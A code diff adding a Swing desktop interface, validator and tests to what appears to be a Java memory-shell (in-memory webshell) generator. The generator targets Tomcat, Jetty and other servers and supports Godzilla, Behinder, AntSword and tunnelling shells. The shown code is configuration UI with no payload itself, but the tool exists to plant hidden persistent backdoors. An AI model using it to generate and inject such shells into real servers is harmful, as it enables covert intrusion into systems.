changed();
}
private void changed() {
if (updating) return;
setter.accept(field.getText());
}
});
}
protected void applyCommonState(MemShellFormState s) {
updating = true;
try {
setComboItems(shellTypeCombo, controller.getShellTypesForCurrentTool(), s.getShellType());
urlPatternField.setText(s.getUrlPattern());
randomClassNameCheck.setSelected(s.isRandomClassName());
boolean nextManualClassVisible = !s.isRandomClassName();
manualClassPanel.setVisible(nextManualClassVisible);
shellClassNameField.setText(s.getShellClassName());
injectorClassNameField.setText(s.getInjectorClassName());
} finally {
updating = false;
}
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class AntSwordToolPanel extends AbstractToolPanel {
private final JTextField passField = new JTextField();
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public AntSwordToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("密码(可选)", passField), "span 2, growx, wrap");
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(passField, controller::setAntSwordPass);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
passField.setText(s.getAntSwordPass());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class BehinderToolPanel extends AbstractToolPanel {
private final JTextField passField = new JTextField();
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public BehinderToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("密码(可选)", passField), "span 2, growx, wrap");
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(passField, controller::setBehinderPass);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
passField.setText(s.getBehinderPass());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,99 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
public class CommandToolPanel extends AbstractToolPanel {
private final JPanel paramRow = new JPanel(new MigLayout("insets 0, fillx", "[grow,fill]", "[]"));
private final JTextField paramField = new JTextField();
private final JPanel headerRow = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[grow,fill][grow,fill]", "[]"));
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
private final JCheckBox advancedToggle = new JCheckBox("高级配置");
private final JPanel advancedPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
private final JComboBox<String> encryptorCombo = new JComboBox<>();
private final JComboBox<String> implCombo = new JComboBox<>();
private final JTextField commandTemplateField = new JTextField();
public CommandToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
paramRow.add(labeled("参数名(可选)", paramField), "growx");
add(paramRow, "span 2, growx, wrap, hidemode 3");
headerRow.add(labeled("请求头名", headerNameField), "growx");
headerRow.add(labeled("请求头值(可选)", headerValueField), "growx");
add(headerRow, "span 2, growx, wrap, hidemode 3");
add(advancedToggle, "span 2, gapy 2 0, wrap");
advancedPanel.add(labeled("加密器", encryptorCombo), "growx");
advancedPanel.add(labeled("实现类", implCombo), "growx");
advancedPanel.add(labeled("命令模板(可选)", commandTemplateField), "span 2, growx");
add(advancedPanel, "span 2, growx, wrap, hidemode 3");
addRandomClassSection();
bindText(paramField, controller::setCommandParamName);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
bindText(commandTemplateField, controller::setCommandTemplate);
encryptorCombo.addActionListener(e -> {
if (updating) return;
Object item = encryptorCombo.getSelectedItem();
controller.setEncryptor(item == null ? "" : String.valueOf(item));
});
implCombo.addActionListener(e -> {
if (updating) return;
Object item = implCombo.getSelectedItem();
controller.setImplementationClass(item == null ? "" : String.valueOf(item));
});
advancedToggle.addActionListener(e -> {
advancedPanel.setVisible(advancedToggle.isSelected());
revalidate();
repaint();
});
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
boolean layoutVisibilityChanged = false;
try {
String encryptor = (s.getEncryptor() == null || s.getEncryptor().trim().isEmpty())
? (controller.getCommandEncryptors().isEmpty() ? null : controller.getCommandEncryptors().get(0))
: s.getEncryptor();
String impl = (s.getImplementationClass() == null || s.getImplementationClass().trim().isEmpty())
? (controller.getCommandImplementationClasses().isEmpty() ? null : controller.getCommandImplementationClasses().get(0))
: s.getImplementationClass();
setComboItems(encryptorCombo, controller.getCommandEncryptors(), encryptor);
setComboItems(implCombo, controller.getCommandImplementationClasses(), impl);
boolean nextParamVisible = controller.isCommandParamVisible();
boolean nextHeaderVisible = controller.isCommandHeaderVisible();
if (paramRow.isVisible() != nextParamVisible) {
layoutVisibilityChanged = true;
}
if (headerRow.isVisible() != nextHeaderVisible) {
layoutVisibilityChanged = true;
}
paramRow.setVisible(nextParamVisible);
headerRow.setVisible(nextHeaderVisible);
paramField.setText(s.getCommandParamName());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
commandTemplateField.setText(s.getCommandTemplate());
boolean nextAdvancedVisible = advancedToggle.isSelected();
if (advancedPanel.isVisible() != nextAdvancedVisible) {
layoutVisibilityChanged = true;
}
advancedPanel.setVisible(nextAdvancedVisible);
} finally { updating = false; }
if (layoutVisibilityChanged) {
revalidate();
repaint();
}
}
}
@@ -0,0 +1,131 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import java.awt.event.ActionEvent;
import java.io.File;
import java.nio.file.Files;
import java.util.Base64;
public class CustomToolPanel extends AbstractToolPanel {
private final CustomClassNameParser parser;
private final JRadioButton base64Mode = new JRadioButton("Base64", true);
private final JRadioButton fileMode = new JRadioButton("File");
private final JTextArea base64Area = new JTextArea(4, 40);
private final JButton fileButton = new JButton("选择 .class 文件");
private final JLabel fileLabel = new JLabel("未选择文件");
private final JPanel base64Panel = new JPanel(new MigLayout("insets 0, fillx", "[grow,fill]", "[grow,fill]"));
private final JPanel filePanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[grow,fill][]", "[]"));
private final Timer parseDebounce;
public CustomToolPanel(MemShellFormController controller, CustomClassNameParser parser, Runnable refreshAll) {
super(controller, refreshAll);
this.parser = parser;
ButtonGroup group = new ButtonGroup();
group.add(base64Mode);
group.add(fileMode);
add(new JLabel("Shell Class"));
JPanel radioWrap = new JPanel(new MigLayout("insets 0, gapx 8", "[][]", "[]"));
radioWrap.add(base64Mode);
radioWrap.add(fileMode);
add(radioWrap, "growx, wrap");
base64Panel.add(new JScrollPane(base64Area), "grow");
filePanel.add(fileLabel, "growx");
filePanel.add(fileButton);
add(base64Panel, "span 2, growx, gapy 1 0, wrap, hidemode 3");
add(filePanel, "span 2, growx, gapy 1 0, wrap, hidemode 3");
addRandomClassSection();
parseDebounce = new Timer(400, this::parseAndFillClassName);
parseDebounce.setRepeats(false);
base64Area.getDocument().addDocumentListener(new DocumentListener() {
@Override public void insertUpdate(DocumentEvent e) { changed(); }
@Override public void removeUpdate(DocumentEvent e) { changed(); }
@Override public void changedUpdate(DocumentEvent e) { changed(); }
private void changed() {
if (updating) return;
controller.setShellClassBase64(base64Area.getText());
parseDebounce.restart();
}
});
base64Mode.addActionListener(e -> {
if (updating) return;
controller.setCustomInputMode("base64");
refreshAll.run();
});
fileMode.addActionListener(e -> {
if (updating) return;
controller.setCustomInputMode("file");
refreshAll.run();
});
fileButton.addActionListener(this::chooseFile);
}
private void chooseFile(ActionEvent event) {
JFileChooser chooser = new JFileChooser();
int result = chooser.showOpenDialog(this);
if (result != JFileChooser.APPROVE_OPTION) return;
File file = chooser.getSelectedFile();
try {
byte[] bytes = Files.readAllBytes(file.toPath());
String base64 = Base64.getEncoder().encodeToString(bytes);
controller.setShellClassBase64(base64);
fileLabel.setText(file.getName());
String className = parser.parseClassName(bytes);
controller.setShellClassName(className);
refreshAll.run();
} catch (Exception ex) {
SwingUiUtil.showError(this, "读取自定义类失败: " + ex.getMessage());
}
}
private void parseAndFillClassName(ActionEvent ignored) {
try {
String base64 = controller.getState().getShellClassBase64();
if (base64 == null || base64.trim().isEmpty()) return;
String className = parser.parseClassNameFromBase64(base64);
controller.setShellClassName(className);
refreshAll.run();
} catch (Exception ignoredEx) {
// ignore parse errors while typing/pasting
}
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
boolean layoutVisibilityChanged = false;
try {
base64Mode.setSelected("base64".equalsIgnoreCase(s.getCustomInputMode()));
fileMode.setSelected("file".equalsIgnoreCase(s.getCustomInputMode()));
boolean nextBase64Visible = base64Mode.isSelected();
boolean nextFileVisible = fileMode.isSelected();
if (base64Panel.isVisible() != nextBase64Visible) {
layoutVisibilityChanged = true;
}
if (filePanel.isVisible() != nextFileVisible) {
layoutVisibilityChanged = true;
}
base64Panel.setVisible(nextBase64Visible);
filePanel.setVisible(nextFileVisible);
base64Area.setText(s.getShellClassBase64());
} finally { updating = false; }
if (layoutVisibilityChanged) {
revalidate();
repaint();
}
}
}
@@ -0,0 +1,40 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
public class GodzillaToolPanel extends AbstractToolPanel {
private final JTextField passField = new JTextField();
private final JTextField keyField = new JTextField();
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public GodzillaToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("密码(可选)", passField), "growx");
add(labeled("密钥(可选)", keyField), "growx, wrap");
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(passField, controller::setGodzillaPass);
bindText(keyField, controller::setGodzillaKey);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override
public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
passField.setText(s.getGodzillaPass());
keyField.setText(s.getGodzillaKey());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class NeoRegToolPanel extends AbstractToolPanel {
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public NeoRegToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,42 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class ProxyToolPanel extends AbstractToolPanel {
private final JPanel headerPanel = new JPanel(new net.miginfocom.swing.MigLayout("insets 0, fillx, gapx 8", "[grow,fill][grow,fill]", "[]"));
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public ProxyToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
headerPanel.add(labeled("请求头名", headerNameField), "growx");
headerPanel.add(labeled("请求头值(可选)", headerValueField), "growx");
add(headerPanel, "span 2, growx, wrap, hidemode 3");
addRandomClassSection();
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
boolean layoutVisibilityChanged = false;
try {
boolean nextHeaderVisible = controller.isProxyHeaderVisible();
if (headerPanel.isVisible() != nextHeaderVisible) {
layoutVisibilityChanged = true;
}
headerPanel.setVisible(nextHeaderVisible);
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
if (layoutVisibilityChanged) {
revalidate();
repaint();
}
}
}
@@ -0,0 +1,5 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
public interface RefreshableToolPanel {
void refreshFromController();
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class Suo5ToolPanel extends AbstractToolPanel {
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public Suo5ToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,12 @@
package com.reajason.javaweb.desktop.memshell.util;
import java.awt.*;
import java.awt.datatransfer.StringSelection;
public final class ClipboardUtil {
private ClipboardUtil() {}
public static void copyText(String text) {
Toolkit.getDefaultToolkit().getSystemClipboard().setContents(new StringSelection(text == null ? "" : text), null);
}
}
@@ -0,0 +1,50 @@
package com.reajason.javaweb.desktop.memshell.util;
import javax.swing.*;
import javax.swing.filechooser.FileNameExtensionFilter;
import java.awt.*;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public final class FileSaveUtil {
private FileSaveUtil() {}
public static void saveText(Component parent, String suggestedName, String content) throws IOException {
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter("Text", "txt"));
if (file == null) return;
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write((content == null ? "" : content).getBytes(StandardCharsets.UTF_8));
}
}
public static void saveBase64AsBytes(Component parent, String suggestedName, String base64, String extension) throws IOException {
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter(extension.toUpperCase(), extension));
if (file == null) return;
byte[] bytes = Base64.getDecoder().decode(base64 == null ? "" : base64);
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write(bytes);
}
}
public static void saveBytes(Component parent, String suggestedName, byte[] bytes, String extension) throws IOException {
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter(extension.toUpperCase(), extension));
if (file == null) return;
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write(bytes);
}
}
public static File chooseFile(Component parent, String suggestedName, FileNameExtensionFilter filter) {
JFileChooser chooser = new JFileChooser();
chooser.setSelectedFile(new File(suggestedName));
chooser.setFileFilter(filter);
int result = chooser.showSaveDialog(parent);
if (result != JFileChooser.APPROVE_OPTION) {
return null;
}
return chooser.getSelectedFile();
}
}
@@ -0,0 +1,32 @@
package com.reajason.javaweb.desktop.memshell.util;
import javax.swing.*;
import java.awt.*;
public final class SwingUiUtil {
private SwingUiUtil() {}
public static JPanel titledPanel(String title, LayoutManager layout) {
JPanel panel = new JPanel(layout);
panel.setBorder(BorderFactory.createCompoundBorder(
BorderFactory.createTitledBorder(title),
BorderFactory.createEmptyBorder(6, 6, 6, 6)));
return panel;
}
public static void showError(Component parent, String message) {
JOptionPane.showMessageDialog(parent, message, "错误", JOptionPane.ERROR_MESSAGE);
}
public static void showInfo(Component parent, String message) {
JOptionPane.showMessageDialog(parent, message, "提示", JOptionPane.INFORMATION_MESSAGE);
}
public static void runOnEdt(Runnable runnable) {
if (SwingUtilities.isEventDispatchThread()) {
runnable.run();
} else {
SwingUtilities.invokeLater(runnable);
}
}
}
@@ -0,0 +1,73 @@
package com.reajason.javaweb.desktop.memshell.validation;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import java.util.LinkedHashMap;
import java.util.Map;
public class MemShellValidator {
public static class Result {
private final Map<String, String> fieldErrors = new LinkedHashMap<>();
public boolean isValid() {
return fieldErrors.isEmpty();
}
public Map<String, String> getFieldErrors() {
return fieldErrors;
}
public void add(String field, String message) {
fieldErrors.put(field, message);
}
public String firstMessage() {
return fieldErrors.values().stream().findFirst().orElse("");
}
}
public Result validate(MemShellFormState s) {
Result r = new Result();
required(r, "server", s.getServer(), "请选择服务类型");
required(r, "serverVersion", s.getServerVersion(), "请选择服务版本");
required(r, "shellTool", s.getShellTool(), "请选择内存马工具");
required(r, "shellType", s.getShellType(), "请选择内存马挂载类型");
required(r, "packingMethod", s.getPackingMethod(), "请选择打包方式");
if (needsUrlPattern(s.getShellType()) && isInvalidUrl(s.getUrlPattern())) {
r.add("urlPattern", "请使用具体 URL 路径,不能为 / 或 /*");
}
if ("Custom".equals(s.getShellTool()) && (s.getShellClassBase64() == null || s.getShellClassBase64().trim().isEmpty())) {
r.add("shellClassBase64", "自定义内存马 Class(Base64) 不能为空");
}
if ("TongWeb".equals(s.getServer()) && "Valve".equals(s.getShellType()) && "Unknown".equals(s.getServerVersion())) {
r.add("serverVersion", "TongWeb Valve 模式需要指定服务版本");
}
if ("Jetty".equals(s.getServer())
&& ("Handler".equals(s.getShellType()) || "JakartaHandler".equals(s.getShellType()))
&& "Unknown".equals(s.getServerVersion())) {
r.add("serverVersion", "Jetty Handler 模式需要指定服务版本");
}
return r;
}
public boolean needsUrlPattern(String shellType) {
if (shellType == null || shellType.trim().isEmpty()) return false;
if (shellType.startsWith("Agent")) return false;
return shellType.endsWith("Servlet") ||
shellType.endsWith("ControllerHandler") ||
shellType.equals("HandlerMethod") ||
shellType.equals("HandlerFunction") ||
shellType.endsWith("WebSocket");
}
public boolean isInvalidUrl(String urlPattern) {
return urlPattern == null || urlPattern.trim().isEmpty() || "/".equals(urlPattern) || "/*".equals(urlPattern) || !urlPattern.startsWith("/");
}
private void required(Result r, String field, String value, String message) {
if (value == null || value.trim().isEmpty()) {
r.add(field, message);
}
}
}
@@ -0,0 +1,51 @@
package com.reajason.javaweb.desktop.memshell.controller;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import org.junit.jupiter.api.Test;
import java.util.List;
import static org.junit.jupiter.api.Assertions.*;
class MemShellFormControllerTest {
@Test
void shouldAdjustJdkForSpringWebFluxAndResetDependentFields() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setServerVersion("Unknown");
controller.setUrlPattern("/abc");
controller.setServer("SpringWebFlux");
assertEquals("52", controller.getState().getTargetJdkVersion());
assertEquals("", controller.getState().getUrlPattern());
assertNotNull(controller.getState().getShellTool());
assertFalse(controller.getState().getShellTool().isEmpty());
}
@Test
void shouldFilterAgentPackersForAgentShellType() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setShellType("AgentFilterChain");
List<?> filtered = controller.getFilteredPackers();
assertFalse(filtered.isEmpty());
assertTrue(controller.getFilteredPackers().stream().allMatch(p -> p.getName().startsWith("Agent")));
}
@Test
void shouldToggleRandomClassNameAndRestoreValues() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setRandomClassName(false);
controller.setShellClassName("a.b.C");
controller.setInjectorClassName("x.y.Z");
controller.setRandomClassName(true);
assertEquals("", controller.getState().getShellClassName());
assertEquals("", controller.getState().getInjectorClassName());
controller.setRandomClassName(false);
assertEquals("a.b.C", controller.getState().getShellClassName());
assertEquals("x.y.Z", controller.getState().getInjectorClassName());
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.desktop.memshell.service;
import org.junit.jupiter.api.Test;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.*;
class CustomClassNameParserTest {
@Test
void shouldParseClassNameFromClassBytesAndBase64() throws Exception {
CustomClassNameParser parser = new CustomClassNameParser();
byte[] bytes = readOwnClassBytes();
String expected = this.getClass().getName();
assertEquals(expected, parser.parseClassName(bytes));
assertEquals(expected, parser.parseClassNameFromBase64(Base64.getEncoder().encodeToString(bytes)));
}
private byte[] readOwnClassBytes() throws IOException {
String resource = "/" + this.getClass().getName().replace('.', '/') + ".class";
InputStream in = this.getClass().getResourceAsStream(resource);
assertNotNull(in);
try (InputStream is = in; ByteArrayOutputStream out = new ByteArrayOutputStream()) {
byte[] buf = new byte[4096];
int n;
while ((n = is.read(buf)) != -1) out.write(buf, 0, n);
return out.toByteArray();
}
}
}
@@ -0,0 +1,29 @@
package com.reajason.javaweb.desktop.memshell.service;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
class GenerationServiceTest {
@Test
void shouldGenerateTomcatGodzillaListenerWithBase64Packer() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setServer("Tomcat");
controller.setShellTool("Godzilla");
controller.setShellType("Listener");
controller.setPacker("Base64");
GenerationService service = new GenerationService();
DesktopMemShellGenerateResult result = service.generate(controller.getState().copy());
assertNotNull(result);
assertEquals("Base64", result.getPackMethod());
assertNotNull(result.getPackResult());
assertFalse(result.getPackResult().isEmpty());
assertNotNull(result.getMemShellResult().getShellBytesBase64Str());
assertNotNull(result.getMemShellResult().getInjectorBytesBase64Str());
}
}
@@ -0,0 +1,56 @@
package com.reajason.javaweb.desktop.memshell.ui;
import org.junit.jupiter.api.Assumptions;
import org.junit.jupiter.api.Test;
import javax.swing.*;
import java.awt.*;
import static org.junit.jupiter.api.Assertions.*;
class MemShellGeneratorFrameLayoutTest {
@Test
void shouldUseStackedLayoutWithoutSplitPaneAndKeepGenerateButton() throws Exception {
Assumptions.assumeFalse(GraphicsEnvironment.isHeadless(), "Headless environment");
final MemShellGeneratorFrame[] ref = new MemShellGeneratorFrame[1];
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
ref[0] = new MemShellGeneratorFrame();
}
});
try {
final JComponent[] contentRef = new JComponent[1];
final JButton[] buttonRef = new JButton[1];
final Dimension[] minSizeRef = new Dimension[1];
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
contentRef[0] = ref[0].getMainContentPanel();
buttonRef[0] = ref[0].getGenerateButton();
minSizeRef[0] = ref[0].getMinimumSize();
}
});
assertNotNull(contentRef[0]);
assertFalse(contentRef[0] instanceof JSplitPane, "main content should not be a JSplitPane");
assertNotNull(buttonRef[0]);
assertTrue(buttonRef[0].isEnabled());
assertNotNull(minSizeRef[0]);
assertTrue(minSizeRef[0].width >= 1180);
assertTrue(minSizeRef[0].height >= 900);
} finally {
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
if (ref[0] != null) {
ref[0].dispose();
}
}
});
}
}
}
@@ -0,0 +1,71 @@
package com.reajason.javaweb.desktop.memshell.ui;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.service.GenerationService;
import com.reajason.javaweb.desktop.memshell.ui.panel.ResultPanel;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import org.junit.jupiter.api.Test;
import javax.swing.*;
import java.awt.*;
import static org.junit.jupiter.api.Assertions.*;
class ResultPanelBasicInfoLayoutTest {
@Test
void shouldUseStructuredNoScrollBasicInfo() throws Exception {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setServer("Tomcat");
controller.setShellTool("Godzilla");
controller.setShellType("Listener");
controller.setPacker("Base64");
DesktopMemShellGenerateResult result = new GenerationService().generate(controller.getState().copy());
final ResultPanel panel = new ResultPanel();
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
panel.showResult(result);
}
});
JComponent basic = panel.getBasicInfoComponent();
assertNotNull(basic);
assertTrue(basic instanceof JPanel);
assertFalse(containsScrollPane(basic), "basic info section should not contain JScrollPane");
assertTrue(containsText(panel, "服务类型"));
assertTrue(containsText(panel, "内存马功能"));
assertTrue(containsText(panel, "注入器类名"));
assertTrue(containsText(panel, "内存马类名"));
}
private boolean containsScrollPane(Component c) {
if (c instanceof JScrollPane) return true;
if (c instanceof Container) {
for (Component child : ((Container) c).getComponents()) {
if (containsScrollPane(child)) return true;
}
}
return false;
}
private boolean containsText(Component c, String expected) {
if (c instanceof JLabel) {
String text = ((JLabel) c).getText();
if (text != null && text.contains(expected)) return true;
}
if (c instanceof JTextField) {
String text = ((JTextField) c).getText();
if (text != null && text.contains(expected)) return true;
}
if (c instanceof Container) {
for (Component child : ((Container) c).getComponents()) {
if (containsText(child, expected)) return true;
}
}
return false;
}
}
@@ -0,0 +1,59 @@
package com.reajason.javaweb.desktop.memshell.validation;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
class MemShellValidatorTest {
private final MemShellValidator validator = new MemShellValidator();
@Test
void shouldRejectGenericUrlPatternWhenRequired() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setShellType("Servlet");
s.setUrlPattern("/*");
MemShellValidator.Result result = validator.validate(s);
assertFalse(result.isValid());
assertTrue(result.getFieldErrors().containsKey("urlPattern"));
}
@Test
void shouldAllowNoUrlPatternForListener() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setShellType("Listener");
s.setUrlPattern("/*");
MemShellValidator.Result result = validator.validate(s);
assertTrue(result.isValid());
}
@Test
void shouldRequireCustomShellBase64ForCustomTool() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setShellTool("Custom");
s.setShellClassBase64("");
MemShellValidator.Result result = validator.validate(s);
assertFalse(result.isValid());
assertTrue(result.getFieldErrors().containsKey("shellClassBase64"));
}
@Test
void shouldRequireJettyVersionForHandler() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setServer("Jetty");
s.setShellType("Handler");
s.setServerVersion("Unknown");
s.setUrlPattern("/x");
MemShellValidator.Result result = validator.validate(s);
assertFalse(result.isValid());
assertTrue(result.getFieldErrors().containsKey("serverVersion"));
}
}
+6 -4
View File
@@ -36,9 +36,9 @@ What you can learn or try from this project:
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
![normal_generator](../asserts/normal_generator.png)
![normal_generator](../assets/normal_generator.png)
![agent_generator](../asserts/agent_generator.png)
![agent_generator](../assets/agent_generator.png)
## Key Features
@@ -185,6 +185,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
@@ -200,6 +201,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
@@ -211,7 +213,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 |
